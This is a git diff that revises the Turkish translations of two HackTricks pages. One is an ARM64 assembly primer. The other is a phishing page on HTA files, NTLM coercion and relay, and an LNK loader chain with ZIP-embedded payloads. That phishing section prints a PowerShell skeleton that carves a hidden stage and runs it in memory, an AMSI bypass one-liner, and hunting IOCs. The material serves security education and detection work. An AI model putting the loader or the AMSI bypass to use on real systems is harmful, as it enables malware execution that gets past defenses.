 - [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator)
 
-## HTA Files
+## HTA Dosyaları
 
-HTA, HTML ve betik dillerini (ör. **VBScript** ve **JScript**) birleştiren bir Windows programıdır. Kullanıcı arayüzünü oluşturur ve tarayıcının güvenlik modelinin kısıtlamaları olmadan "tam yetkili" bir uygulama olarak çalışır.
+HTA, **HTML ve betik dillerini (ör. VBScript ve JScript) birleştiren** bir Windows programıdır. Kullanıcı arayüzünü oluşturur ve tarayıcının güvenlik modelinin kısıtlamaları olmadan "tam yetkili" bir uygulama olarak çalıştırılır.
 
-HTA, **`mshta.exe`** kullanılarak çalıştırılır; bu genellikle **Internet Explorer** ile birlikte **yüklü** gelir, bu da **`mshta`'nın IE'ye bağımlı olmasına** neden olur. Dolayısıyla Internet Explorer kaldırıldıysa, HTA'lar çalıştırılamaz.
+HTA, **`mshta.exe`** kullanılarak çalıştırılır; bu genellikle **yüklüdür** ve **Internet Explorer** ile birlikte gelir, bu da **`mshta`'yı IE'ye bağımlı** kılar. Yani IE kaldırıldıysa, HTA'lar çalıştırılamaz.
 ```html
 <--! Basic HTA Execution -->
 <html>
@@ -138,9 +138,9 @@ var_func
 self.close
 </script>
 ```
-## NTLM Kimlik Doğrulamasını Zorlama
+## NTLM Authentication'ı Zorlamak
 
-NTLM kimlik doğrulamasını **"uzaktan" zorlamak** için birkaç yol vardır; örneğin, kullanıcının erişeceği e-postalara veya HTML'e **görünmez resimler** ekleyebilirsiniz (hatta HTTP MitM?). Veya kurbana **dosyaların adresini** göndererek, yalnızca **klasörü açmak** ile bir **kimlik doğrulamasını** **tetikleyebilirsiniz**.
+NTLM authentication'ı "remotely" **force** etmenin birkaç yolu vardır; örneğin, kullanıcı erişeceği e-postalara veya HTML'e **invisible images** ekleyebilirsiniz (hatta HTTP MitM?). Veya mağdura sadece klasörü açmak için bir **authentication** tetikleyecek dosyaların **address of files**'ını gönderebilirsiniz.
 
 **Bu fikirleri ve daha fazlasını aşağıdaki sayfalarda inceleyin:**
 
@@ -156,24 +156,24 @@ NTLM kimlik doğrulamasını **"uzaktan" zorlamak** için birkaç yol vardır;
 
 ### NTLM Relay
 
-Hash'i veya kimlik doğrulamayı çalmanın yanı sıra **NTLM relay attacks** de gerçekleştirebileceğinizi unutmayın:
+Unutmayın: yalnızca hash'i veya **authentication**'ı çalamakla kalmayıp, aynı zamanda **perform NTLM relay attacks** da gerçekleştirebilirsiniz:
 
 - [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
 - [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
 
 ## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
 
-Son derece etkili kampanyalar, iki meşru alıcı belge (PDF/DOCX) ve kötü amaçlı bir .lnk içeren bir ZIP gönderir. Hile şu ki, gerçek PowerShell loader ZIP’in ham baytları içinde benzersiz bir marker’den sonra saklanır ve .lnk bunu ayırıp tamamen bellekte çalıştırır.
+Oldukça etkili kampanyalar, iki meşru decoy belge (PDF/DOCX) ve kötü amaçlı bir .lnk içeren bir ZIP teslim eder. Hile şudur: gerçek PowerShell loader, ZIP’in ham bytes'larının içinde benzersiz bir marker'dan sonra saklanır ve .lnk bunu carve edip tamamen hafızada çalıştırır.
 
-.lnk PowerShell one-liner tarafından uygulanan tipik akış:
+Tipik akış, .lnk PowerShell one-liner tarafından uygulanır:
 
-1) Orijinal ZIP'i şu yaygın yolları kontrol ederek bulun: Desktop, Downloads, Documents, %TEMP%, %ProgramData% ve mevcut çalışma dizininin üst dizini.
-2) ZIP baytlarını okuyun ve sabit kodlu bir marker bulun (örn., xFIQCV). Marker'den sonraki her şey gömülü PowerShell payload'udur.
-3) ZIP'i %ProgramData% içine kopyalayın, orada açın ve meşru görünmesi için sahte .docx'i açın.
-4) Mevcut süreç için AMSI'yi atlayın: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
-5) Bir sonraki aşamanın obfuskasyonunu kaldırın (örn., tüm # karakterlerini silin) ve bunu bellekte çalıştırın.
+1) Orijinal ZIP'i yaygın dizinlerde bulun: Desktop, Downloads, Documents, %TEMP%, %ProgramData% ve mevcut çalışma dizininin parent'i.
+2) ZIP bytes'larını okuyun ve sert kodlanmış bir marker bulun (ör. xFIQCV). Marker'dan sonraki her şey gömülü PowerShell payload'dır.
+3) ZIP'i %ProgramData% içine kopyalayın, orada çıkartın ve meşru görünmek için decoy .docx'i açın.
+4) Geçerli process için AMSI'yi bypass edin: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
+5) Bir sonraki aşamayı deobfuscate edin (ör. tüm # karakterlerini kaldırın) ve hafızada execute edin.
 
-Gömülü aşamayı ayıklayıp çalıştırmak için örnek PowerShell iskeleti:
+Gömülü aşamayı carve edip çalıştırmak için örnek PowerShell iskeleti:
 ```powershell
 $marker   = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
 $paths    = @(
@@ -191,21 +191,21 @@ $code  = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
 Invoke-Expression $code
 ```
 Notlar
-- Teslimat genellikle saygın PaaS alt alan adlarını (ör., *.herokuapp.com) kötüye kullanır ve payloads'ı gate'leyebilir (IP/UA bazlı zararsız ZIP'ler sunar).
-- Bir sonraki aşama sık sık base64/XOR shellcode'u çözer ve disk artefaktlarını en aza indirmek için Reflection.Emit + VirtualAlloc ile çalıştırır.
+- Teslimat genellikle saygın PaaS alt alan adlarını (ör. *.herokuapp.com) kötüye kullanır ve payloads'a erişimi kısıtlayabilir (IP/UA'ya göre zararsız ZIPs sunarak).
+- Bir sonraki aşama genellikle base64/XOR shellcode'u çözer ve disk izlerini azaltmak için Reflection.Emit + VirtualAlloc ile çalıştırır.
 
 Aynı zincirde kullanılan Persistence
-- COM TypeLib hijacking, Microsoft Web Browser control üzerinde, IE/Explorer veya içine gömülü herhangi bir uygulamanın payload'u otomatik olarak yeniden başlatması için kullanılır. Detaylar ve kullanıma hazır komutlar için buraya bakın:
+- Microsoft Web Browser control üzerinde COM TypeLib hijacking uygulanarak, IE/Explorer veya kontrolü gömülü kullanan herhangi bir uygulama payload'ı otomatik olarak yeniden başlatır. Ayrıntılar ve hazır komutlar için bakınız:
 
 {{#ref}}
 ../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
 {{#endref}}
 
 Hunting/IOCs
-- Arşiv verisine eklenmiş ASCII işaretleyici dizisi (ör., xFIQCV) içeren ZIP dosyaları.
-- ZIP'i bulmak için üst/kullanıcı klasörlerini listeleyen ve bir decoy document açan .lnk.
-- AMSI tampering via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
-- Güvenilir PaaS domainleri altında barındırılan linklerle sona eren uzun süreli iş dizileri.
+- Arşiv verisine eklenmiş ASCII marker string (ör. xFIQCV) içeren ZIP dosyaları.
+- .lnk, ZIP'yi bulmak için üst/kullanıcı klasörlerini tarar ve bir decoy document açar.
+- AMSI'ye müdahale [System.Management.Automation.AmsiUtils]::amsiInitFailed ile.
+- Güvenilir PaaS domain'leri altında barındırılan linklerle sonlanan uzun süre çalışan business thread'leri.
 
 ## Referanslar
 

src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md

@@ -1,255 +1,257 @@
-# ARM64v8'e Giriş
+# ARM64v8'ye Giriş
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## **İstisna Seviyeleri - EL (ARM64v8)**
+## **Exception Levels - EL (ARM64v8)**
 
-ARMv8 mimarisinde, İstisna Seviyeleri (EL), yürütme ortamının ayrıcalık seviyesini ve yeteneklerini tanımlar. EL0'dan EL3'e kadar dört istisna seviyesi vardır ve her biri farklı bir amaca hizmet eder:
+ARMv8 mimarisinde, Exception Levels (EL) olarak bilinen yürütme seviyeleri, yürütme ortamının ayrıcalık düzeyini ve yeteneklerini tanımlar. Dört istisna seviyesi vardır, EL0'dan EL3'e kadar, her biri farklı bir amaca hizmet eder:
 
-1. **EL0 - Kullanıcı Modu**:
-- Bu, en az ayrıcalıklı seviyedir ve normal uygulama kodunu yürütmek için kullanılır.
-- EL0'da çalışan uygulamalar birbirlerinden ve sistem yazılımından izole edilmiştir, bu da güvenliği ve kararlılığı artırır.
-2. **EL1 - İşletim Sistemi Çekirdek Modu**:
+1. **EL0 - User Mode**:
+- Bu en az ayrıcalıklı seviyedir ve normal uygulama kodunun yürütülmesi için kullanılır.
+- EL0'da çalışan uygulamalar birbirlerinden ve sistem yazılımından izole edilir; bu da güvenliği ve kararlılığı artırır.
+2. **EL1 - Operating System Kernel Mode**:
 - Çoğu işletim sistemi çekirdeği bu seviyede çalışır.
 - EL1, EL0'dan daha fazla ayrıcalığa sahiptir ve sistem kaynaklarına erişebilir, ancak sistem bütünlüğünü sağlamak için bazı kısıtlamalar vardır.
-3. **EL2 - Hypervisor Modu**:
+3. **EL2 - Hypervisor Mode**:
 - Bu seviye sanallaştırma için kullanılır. EL2'de çalışan bir hypervisor, aynı fiziksel donanım üzerinde birden fazla işletim sistemini (her biri kendi EL1'inde) yönetebilir.
-- EL2, sanallaştırılmış ortamların izolasyonu ve kontrolü için özellikler sunar.
-4. **EL3 - Güvenli İzleyici Modu**:
-- Bu, en ayrıcalıklı seviyedir ve genellikle güvenli önyükleme ve güvenilir yürütme ortamları için kullanılır.
-- EL3, güvenli ve güvensiz durumlar (güvenli önyükleme, güvenilir OS vb.) arasındaki erişimleri yönetebilir ve kontrol edebilir.
+- EL2, sanallaştırılmış ortamların izolasyonu ve kontrolü için özellikler sağlar.
+4. **EL3 - Secure Monitor Mode**:
+- Bu en ayrıcalıklı seviyedir ve genellikle secure boot ve trusted execution ortamları için kullanılır.
+- EL3, secure ve non-secure durumlar arasındaki erişimleri (ör. secure boot, trusted OS vb.) yönetip kontrol edebilir.
 
-Bu seviyelerin kullanımı, kullanıcı uygulamalarından en ayrıcalıklı sistem yazılımlarına kadar sistemin farklı yönlerini yönetmek için yapılandırılmış ve güvenli bir yol sağlar. ARMv8'in ayrıcalık seviyelerine yaklaşımı, farklı sistem bileşenlerini etkili bir şekilde izole etmeye yardımcı olur ve böylece sistemin güvenliğini ve dayanıklılığını artırır.
+Bu seviyelerin kullanımı, kullanıcı uygulamalarından en ayrıcalıklı sistem yazılımlarına kadar sistemin farklı yönlerini yapılandırılmış ve güvenli bir şekilde yönetmeyi sağlar. ARMv8'in ayrıcalık seviyelerine yaklaşımı, farklı sistem bileşenlerini etkili şekilde izole ederek sistemin güvenliğini ve sağlamlığını artırır.
 
-## **Kayıtlar (ARM64v8)**
+## **Registers (ARM64v8)**
 
-ARM64, `x0` ile `x30` arasında etiketlenmiş **31 genel amaçlı kayıt** içerir. Her biri **64-bit** (8-byte) değer saklayabilir. Sadece 32-bit değer gerektiren işlemler için, aynı kayıtlara 32-bit modda `w0` ile `w30` isimleriyle erişilebilir.
+ARM64'te **31 genel amaçlı register** vardır; `x0` ile `x30` arası etiketlenmiştir. Her biri **64-bit** (8 bayt) değer tutabilir. Sadece 32-bit değerler gerektiren işlemler için, aynı registerlar `w0` ile `w30` isimleriyle 32-bit modunda erişilebilir.
 
-1. **`x0`** ile **`x7`** - Genellikle geçici kayıtlar olarak ve alt programlara parametre geçişi için kullanılır.
-- **`x0`**, bir fonksiyonun dönüş verisini taşır.
-2. **`x8`** - Linux çekirdeğinde, `x8`, `svc` talimatı için sistem çağrı numarası olarak kullanılır. **macOS'ta x16 kullanılır!**
-3. **`x9`** ile **`x15`** - Daha fazla geçici kayıt, genellikle yerel değişkenler için kullanılır.
-4. **`x16`** ve **`x17`** - **İç Prosedürel Çağrı Kayıtları**. Anlık değerler için geçici kayıtlardır. Ayrıca dolaylı fonksiyon çağrıları ve PLT (Prosedür Bağlantı Tablosu) stub'ları için de kullanılır.
-- **`x16`**, **macOS**'ta **`svc`** talimatı için **sistem çağrı numarası** olarak kullanılır.
-5. **`x18`** - **Platform kaydı**. Genel amaçlı bir kayıt olarak kullanılabilir, ancak bazı platformlarda bu kayıt platforma özgü kullanımlar için ayrılmıştır: Windows'ta mevcut iş parçacığı ortam bloğuna işaretçi veya Linux çekirdeğinde mevcut **yürütme görev yapısına** işaretçi.
-6. **`x19`** ile **`x28`** - Bunlar çağrılan fonksiyon tarafından saklanan kayıtlardır. Bir fonksiyon, bu kayıtların değerlerini çağıran için korumalıdır, bu nedenle yığın içinde saklanır ve çağırana geri dönmeden önce geri alınır.
-7. **`x29`** - Yığın çerçevesini takip etmek için **Çerçeve işaretçisi**. Bir fonksiyon çağrıldığında yeni bir yığın çerçevesi oluşturulduğunda, **`x29`** kaydı **yığında saklanır** ve **yeni** çerçeve işaretçisi adresi (**`sp`** adresi) **bu kayıtta saklanır**.
-- Bu kayıt ayrıca **genel amaçlı bir kayıt** olarak da kullanılabilir, ancak genellikle **yerel değişkenlere** referans olarak kullanılır.
-8. **`x30`** veya **`lr`** - **Bağlantı kaydı**. `BL` (Bağlantılı Dal) veya `BLR` (Bağlantılı Dal Kayıtına) talimatı yürütüldüğünde **dönüş adresini** tutar ve **`pc`** değerini bu kayıtta saklar.
-- Ayrıca diğer kayıtlar gibi kullanılabilir.
-- Mevcut fonksiyon yeni bir fonksiyon çağıracaksa ve bu nedenle `lr`'yi geçersiz kılacaksa, başlangıçta yığında saklayacaktır, bu epilogdur (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> `fp` ve `lr`'yi sakla, alan oluştur ve yeni `fp` al) ve sonunda geri alır, bu prologdur (`ldp x29, x30, [sp], #48; ret` -> `fp` ve `lr`'yi geri al ve dön).
-9. **`sp`** - **Yığın işaretçisi**, yığının en üstünü takip etmek için kullanılır.
-- **`sp`** değeri her zaman en az bir **quadword** **hizalamasında** tutulmalıdır, aksi takdirde hizalama hatası meydana gelebilir.
-10. **`pc`** - **Program sayacı**, bir sonraki talimata işaret eder. Bu kayıt yalnızca istisna üretimleri, istisna dönüşleri ve dallar aracılığıyla güncellenebilir. Bu kaydı okuyabilen tek sıradan talimatlar, **`pc`** adresini **`lr`** (Bağlantı Kaydı) içinde saklamak için bağlantılı dal talimatlarıdır (BL, BLR).
-11. **`xzr`** - **Sıfır kaydı**. 32-bit kayıt formunda **`wzr`** olarak da adlandırılır. Sıfır değerini kolayca almak için (yaygın işlem) veya **`subs`** kullanarak karşılaştırmalar yapmak için kullanılabilir, örneğin **`subs XZR, Xn, #10`** sonuç verisini hiçbir yere saklamaz ( **`xzr`** içinde).
+1. **`x0`** ile **`x7`** - Genellikle scratch registerlar ve alt rutinlere parametre geçmek için kullanılır.
+- **`x0`** ayrıca bir fonksiyonun döndürdüğü veriyi taşır.
+2. **`x8`** - Linux çekirdeğinde, `x8` `svc` talimatı için system call numarası olarak kullanılır. **macOS'ta ise x16 kullanılır!**
+3. **`x9`** ile **`x15`** - Daha fazla geçici register, genellikle lokal değişkenler için kullanılır.
+4. **`x16`** ve **`x17`** - **Prosedür içi çağrı registerları**. Anlık değerler için geçici registerlardır. Ayrıca dolaylı fonksiyon çağrıları ve PLT stub'ları için kullanılırlar.
+- **`x16`** macOS'ta **`svc`** talimatı için **system call numarası** olarak kullanılır.
+5. **`x18`** - **Platform register'ı**. Genel amaçlı bir register olarak kullanılabilir, ancak bazı platformlarda bu register platforma özgü kullanım için ayrılmıştır: Windows'ta current thread environment block'a işaretçi veya Linux çekirdeğinde şu anda **yürütülen task structure**'a işaret etmek için.
+6. **`x19`** ile **`x28`** - Bu registerlar callee-saved registerlardır. Bir fonksiyon, çağıran için bu registerların değerlerini korumalıdır; bu yüzden bunlar yığına (stack) kaydedilir ve geri çağırana dönmeden önce geri alınır.
+7. **`x29`** - **Frame pointer**, yığın çerçevesini takip etmek için. Yeni bir stack frame oluşturulduğunda, **`x29`** register'ı **yeğe** kaydedilir ve yeni frame pointer adresi (yani **`sp`** adresi) bu register'a kaydedilir.
+- Bu register aynı zamanda genellikle **local değişkenlere** referans olarak kullanıldığı için genel amaçlı bir register olarak da kullanılabilir.
+8. **`x30`** veya **`lr`** - **Link register**. `BL` (Branch with Link) veya `BLR` (Branch with Link to Register) talimatı çalıştırıldığında dönüş adresini (pc değerini) bu register'a kaydeder.
+- Diğer registerlar gibi kullanılabilir.
+- Eğer mevcut fonksiyon yeni bir fonksiyon çağıracaksa ve dolayısıyla `lr` üzerine yazılacaksa, başlangıçta `lr` yığına kaydedilir; bu epilogdur (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> `fp` ve `lr`'yi kaydet, alan oluştur ve yeni `fp` ayarla) ve sonunda geri alınır; bu prologdur (`ldp x29, x30, [sp], #48; ret` -> `fp` ve `lr`'yi geri al ve dönüş).
+9. **`sp`** - **Stack pointer**, yığının (stack) tepe noktasını takip etmek için kullanılır.
+- **`sp`** değeri her zaman en az bir **quadword** **hizalamasına** (alignment) göre tutulmalıdır, aksi halde hizalama istisnası oluşabilir.
+10. **`pc`** - **Program counter**, bir sonraki talimata işaret eder. Bu register yalnızca istisna üretimleri, istisna dönüşleri ve dallanmalar yoluyla güncellenebilir. Bu register'ı okuyabilen olağan talimatlar, adresi **`lr`**'ye kaydetmek için kullanılan branch with link talimatları (BL, BLR) ile sınırlıdır.
+11. **`xzr`** - **Sıfır register'ı**. 32-bit formunda **`wzr`** olarak da adlandırılır. Sıfır değerini kolayca almak için (yaygın işlem) ya da **`subs`** gibi karşılaştırmalar yaparken (ör. **`subs XZR, Xn, #10`**) sonucu hiçbir yere kaydetmeden kullanılır (sonuç **`xzr`**'de yok sayılır).
 
-**`Wn`** kayıtları, **`Xn`** kaydının **32bit** versiyonudur.
+**`Wn`** registerları **`Xn`** registerının **32bit** versiyonudur.
 
-### SIMD ve Kayan Nokta Kayıtları
+> [!TIP]
+> X0 - X18 arasındaki registerlar volatildir; yani fonksiyon çağrıları ve kesintilerle değerleri değiştirilebilir. Ancak X19 - X28 arasındaki registerlar non-volatile'dır; bunların değerleri fonksiyon çağrıları boyunca korunmalıdır ("callee saved").
 
-Ayrıca, optimize edilmiş tek talimat çoklu veri (SIMD) işlemlerinde ve kayan nokta aritmetiği gerçekleştirmek için kullanılabilecek başka **32 adet 128bit uzunluğunda kayıt** vardır. Bunlara Vn kayıtları denir, ancak **64**-bit, **32**-bit, **16**-bit ve **8**-bit modlarında da çalışabilirler ve bu durumda **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** ve **`Bn`** olarak adlandırılırlar.
+### SIMD ve Floating-Point Registerları
 
-### Sistem Kayıtları
+Ayrıca, optimize edilmiş single instruction multiple data (SIMD) işlemleri ve floating-point aritmetiği için kullanılabilen **128bit uzunluğunda 32 adet** register vardır. Bunlara Vn register'ları denir; ayrıca **64-bit, 32-bit, 16-bit ve 8-bit** modlarında çalıştırıldıklarında sırasıyla **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** ve **`Bn`** olarak adlandırılırlar.
 
-**Yüzlerce sistem kaydı** vardır, ayrıca özel amaçlı kayıtlar (SPR'ler) olarak da adlandırılır, **işlemcilerin** davranışını **izlemek** ve **kontrol etmek** için kullanılır.\
-Sadece özel talimatlar olan **`mrs`** ve **`msr`** kullanılarak okunabilir veya ayarlanabilirler.
+### System Registerları
 
-Özel kayıtlar **`TPIDR_EL0`** ve **`TPIDDR_EL0`** tersine mühendislik yaparken sıkça bulunur. `EL0` eki, kaydın erişilebileceği **minimum istisnayı** gösterir (bu durumda EL0, normal programların çalıştığı düzenli istisna (ayrıcalık) seviyesidir).\
-Genellikle, **iş parçacığına özgü depolama** bellek bölgesinin **temel adresini** saklamak için kullanılır. Genellikle ilki EL0'da çalışan programlar için okunabilir ve yazılabilir, ancak ikincisi EL0'dan okunabilir ve EL1'den (çekirdek gibi) yazılabilir.
+**Yüzlerce system register** (özel amaçlı registerlar, SPR) işlemcinin davranışını **izleme** ve **kontrol etme** için kullanılır.\
+Bunlar yalnızca özel talimatlar **`mrs`** ve **`msr`** ile okunup yazılabilir.
 
-- `mrs x0, TPIDR_EL0 ; TPIDR_EL0'ı x0'a oku`
-- `msr TPIDR_EL0, X0 ; x0'ı TPIDR_EL0'a yaz`
+Özel registerlar **`TPIDR_EL0`** ve **`TPIDDR_EL0`** tersine mühendislik sırasında sıkça karşılaşılan registerlardır. `EL0` eki, register'a hangi minimum istisna seviyesinden erişilebileceğini belirtir (bu örnekte EL0, normal programların çalıştığı düzenli istisna / ayrıcalık seviyesidir).\
+Genellikle thread-local storage bölgesinin temel adresini depolamak için kullanılırlar. İlk olan genellikle EL0'da çalışan programlar için okunup yazılabilirken, ikincisi EL0'den okunabilir ve EL1'den yazılabilir (ör. kernel).
+
+- `mrs x0, TPIDR_EL0 ; Read TPIDR_EL0 into x0`
+- `msr TPIDR_EL0, X0 ; Write x0 into TPIDR_EL0`
 
 ### **PSTATE**
 
-**PSTATE**, işletim sistemi görünür **`SPSR_ELx`** özel kaydına serileştirilmiş birkaç işlem bileşeni içerir, burada X, tetiklenen istisnanın **izin** **seviyesidir** (bu, istisna sona erdiğinde işlem durumunu geri almak için olanak tanır).\
-Erişilebilir alanlar şunlardır:
+**PSTATE**, işletim sistemi tarafından görülebilen **`SPSR_ELx`** özel register'ında seri hale getirilmiş birkaç işlem bileşeni içerir; burada X tetiklenen istisnanın **izin (permission) seviyesi**dir (bu, istisna sona erdiğinde işlem durumunu geri almak için kullanılır).\
+Erişilebilen alanlar şunlardır:
 
 <figure><img src="../../../images/image (1196).png" alt=""><figcaption></figcaption></figure>
 
-- **`N`**, **`Z`**, **`C`** ve **`V`** durum bayrakları:
-- **`N`**, işlemin negatif bir sonuç verdiğini belirtir.
-- **`Z`**, işlemin sıfır verdiğini belirtir.
-- **`C`**, işlemin taşındığını belirtir.
-- **`V`**, işlemin imzalı bir taşma verdiğini belirtir:
-- İki pozitif sayının toplamı negatif bir sonuç verir.
-- İki negatif sayının toplamı pozitif bir sonuç verir.
-- Çıkarma işlemi sırasında, daha küçük bir pozitif sayıdan büyük bir negatif sayı çıkarıldığında (veya tersine), ve sonuç verilen bit boyutunun aralığında temsil edilemezse.
-- Açıkça, işlemcinin işlemin imzalı olup olmadığını bilmediği için, C ve V'yi işlemlerde kontrol eder ve taşmanın imzalı veya imzasız olup olmadığını belirtir.
+- **`N`**, **`Z`**, **`C`** ve **`V`** koşul flag'leri:
+- **`N`** işlemin negatif bir sonuç ürettiğini gösterir
+- **`Z`** işlemin sıfır sonucu ürettiğini gösterir
+- **`C`** işlemin taşıma (carry) olduğunu gösterir
+- **`V`** işlemin işaretli taşma (signed overflow) ürettiğini gösterir:
+- İki pozitif sayının toplamı negatif bir sonuç veriyorsa.
+- İki negatif sayının toplamı pozitif bir sonuç veriyorsa.
+- Çıkarmada, daha büyük negatif bir sayı daha küçük pozitif bir sayıdan çıkarıldığında (veya tersine) ve sonuç verilen bit boyutu içinde temsil edilemiyorsa.
+- İşlemcinin işlemin işaretli mı işaretsiz mi olduğunu bilmediği açıktır, bu nedenle işlemlerde C ve V kontrol edilerek taşma olup olmadığı belirtilir.
 
 > [!WARNING]
-> Tüm talimatlar bu bayrakları güncellemez. **`CMP`** veya **`TST`** gibi bazıları günceller ve **`ADDS`** gibi s son eki olan diğerleri de günceller.
+> Tüm talimatlar bu flag'leri güncellemez. Bazıları (ör. **`CMP`** veya **`TST`**) günceller, ve **s** suffix'i olanlar (**`ADDS`** gibi) da bu flag'leri günceller.
 
-- Mevcut **kayıt genişliği (`nRW`) bayrağı**: Eğer bayrak 0 değerini tutuyorsa, program yeniden başlatıldığında AArch64 yürütme durumunda çalışacaktır.
-- Mevcut **İstisna Seviyesi** (**`EL`**): EL0'da çalışan bir normal program 0 değerine sahip olacaktır.
-- **Tek adım** bayrağı (**`SS`**): Hata ayıklayıcılar tarafından, bir istisna aracılığıyla **`SPSR_ELx`** içinde SS bayrağını 1 olarak ayarlayarak tek adım atmak için kullanılır. Program bir adım atacak ve tek adım istisnası verecektir.
-- **Geçersiz istisna** durumu bayrağı (**`IL`**): Ayrıcalıklı bir yazılımın geçersiz bir istisna seviyesi aktarımı gerçekleştirdiğini işaretlemek için kullanılır, bu bayrak 1'e ayarlanır ve işlemci geçersiz durum istisnası tetikler.
-- **`DAIF`** bayrakları: Bu bayraklar, ayrıcalıklı bir programın belirli dış istisnaları seçici olarak maskelemesine olanak tanır.
-- Eğer **`A`** 1 ise, **asenkron abortlar** tetiklenecektir. **`I`**, dış donanım **Kesme İsteklerine** (IRQ'lar) yanıt vermek için yapılandırılır. F ise **Hızlı Kesme İstekleri** (FIR'lar) ile ilgilidir.
-- **Yığın işaretçisi seçme** bayrakları (**`SPS`**): EL1 ve üzerindeki ayrıcalıklı programlar, kendi yığın işaretçisi kaydı ile kullanıcı modeli arasında geçiş yapabilir (örneğin, `SP_EL1` ile `EL0` arasında). Bu geçiş, **`SPSel`** özel kaydına yazılarak gerçekleştirilir. Bu, EL0'dan yapılamaz.
+- Mevcut **register genişliği (`nRW`) flag'i**: Eğer flag 0 ise, program yeniden başlatıldığında AArch64 yürütme durumunda çalışacaktır.
+- Mevcut **Exception Level** (**`EL`**): EL0'da çalışan normal bir program için bu değer 0 olacaktır.
+- **Single stepping** flag'i (**`SS`**): Debugger'lar tarafından, bir istisna yoluyla **`SPSR_ELx`** içine SS flag'i 1 yapılarak tek adım yürütme için kullanılır. Program bir adım çalıştırır ve tek adım istisnası oluşturur.
+- **Illegal exception** durum flag'i (**`IL`**): Ayrıcalıklı bir yazılım geçersiz bir istisna seviyesi transferi yaptığında işaretlenir; bu flag 1 olarak ayarlanır ve işlemci illegal state istisnası tetikler.
+- **`DAIF`** flag'leri: Bu flag'ler ayrıcalıklı bir programın belirli dış istisnaları seçici olarak maskelenmesine izin verir.
+- Eğer **`A`** 1 ise asenkron abort'lar tetiklenecektir. **`I`** harici donanım Interrupt Requests (IRQ) ile nasıl yanıt verileceğini yapılandırır. **F** ise Fast Interrupt Requests (FIQ) ile ilgilidir.
+- **Stack pointer select** flag'leri (**`SPS`**): EL1 ve üstünde çalışan ayrıcalıklı programlar, kendi stack pointer register'ları ile user-model olan arasında geçiş yapabilirler (örn. `SP_EL1` ile `EL0` arasında). Bu geçiş **`SPSel`** özel register'ına yazılarak yapılır. Bu EL0'dan yapılamaz.
 
-## **Çağrı Sözleşmesi (ARM64v8)**
+## **Calling Convention (ARM64v8)**
 
-ARM64 çağrı sözleşmesi, bir fonksiyona **ilk sekiz parametrenin** **`x0` ile `x7`** kayıtlarında geçirileceğini belirtir. **Ek** parametreler **yığında** geçilir. **Dönüş** değeri, **`x0`** kaydında veya **`x1`** kaydında **eğer 128 bit uzunluğundaysa** geri geçirilir. **`x19`** ile **`x30`** ve **`sp`** kayıtları, fonksiyon çağrıları arasında **korunmalıdır**.
+ARM64 calling convention, bir fonksiyona iletilen ilk sekiz parametrenin `x0` ile `x7` registerlarında geçirileceğini belirtir. Ek parametreler yığına (stack) geçirilir. Döndürülen değer register `x0`'da döndürülür; eğer 128 bit ise ayrıca `x1` de kullanılır. `x19` ile `x30` ve `sp` registerları fonksiyon çağrıları arasında korunmalıdır.
 
-Bir fonksiyonu assembly dilinde okurken, **fonksiyon prologunu ve epilogunu** arayın. **Prolog**, genellikle **çerçeve işaretçisini (`x29`) saklamayı**, **yeni bir çerçeve işaretçisi** ayarlamayı ve **yığın alanı** ayırmayı içerir. **Epilog** genellikle **saklanan çerçeve işaretçisini geri yüklemeyi** ve **fonksiyondan dönmeyi** içerir.
+Assembly'de bir fonksiyonu okurken, **function prologue** ve **epilogue**'a bakın. **Prologue** genellikle **frame pointer (`x29`)** kaydetmeyi, yeni bir frame pointer ayarlamayı ve yığında alan ayırmayı içerir. **Epilogue** ise genellikle kaydedilmiş frame pointer'ı geri yüklemeyi ve fonksiyondan dönmeyi içerir.
 
-### Swift'te Çağrı Sözleşmesi
+### Calling Convention in Swift
 
-Swift'in kendi **çağrı sözleşmesi** vardır, [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64) adresinde bulunabilir.
+Swift kendi **calling convention**'ına sahiptir; detaylar şurada bulunabilir: [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)
 
-## **Yaygın Talimatlar (ARM64v8)**
+## **Common Instructions (ARM64v8)**
 
-ARM64 talimatları genellikle **`opcode dst, src1, src2`** formatına sahiptir, burada **`opcode`** gerçekleştirilecek **işlemi** (örneğin `add`, `sub`, `mov` vb.) belirtir, **`dst`** sonucu saklayacak **hedef** kaydıdır ve **`src1`** ve **`src2`** **kaynak** kayıtlarıdır. Anlık değerler de kaynak kayıtları yerine kullanılabilir.
+ARM64 talimatları genel olarak **`opcode dst, src1, src2`** formatına sahiptir; burada **`opcode`** yapılacak işlemi (ör. `add`, `sub`, `mov` vb.), **`dst`** sonucu depolayacak hedef register'ı ve **`src1`**, **`src2`** kaynak register'larıdır. Immediate değerler kaynak registerların yerine kullanılabilir.
 
-- **`mov`**: Bir **kayıttan** diğerine bir değeri **taşı**.
-- Örnek: `mov x0, x1` — Bu, `x1`'den `x0`'a değeri taşır.
-- **`ldr`**: **Bellekten** bir değeri bir **kayda yükle**.
-- Örnek: `ldr x0, [x1]` — Bu, `x1` tarafından işaret edilen bellek konumundan bir değeri `x0`'a yükler.
-- **Offset modu**: Orijinal işaretçiyi etkileyen bir offset belirtilir, örneğin:
-- `ldr x2, [x1, #8]`, bu `x2`'ye `x1 + 8` değerini yükleyecektir.
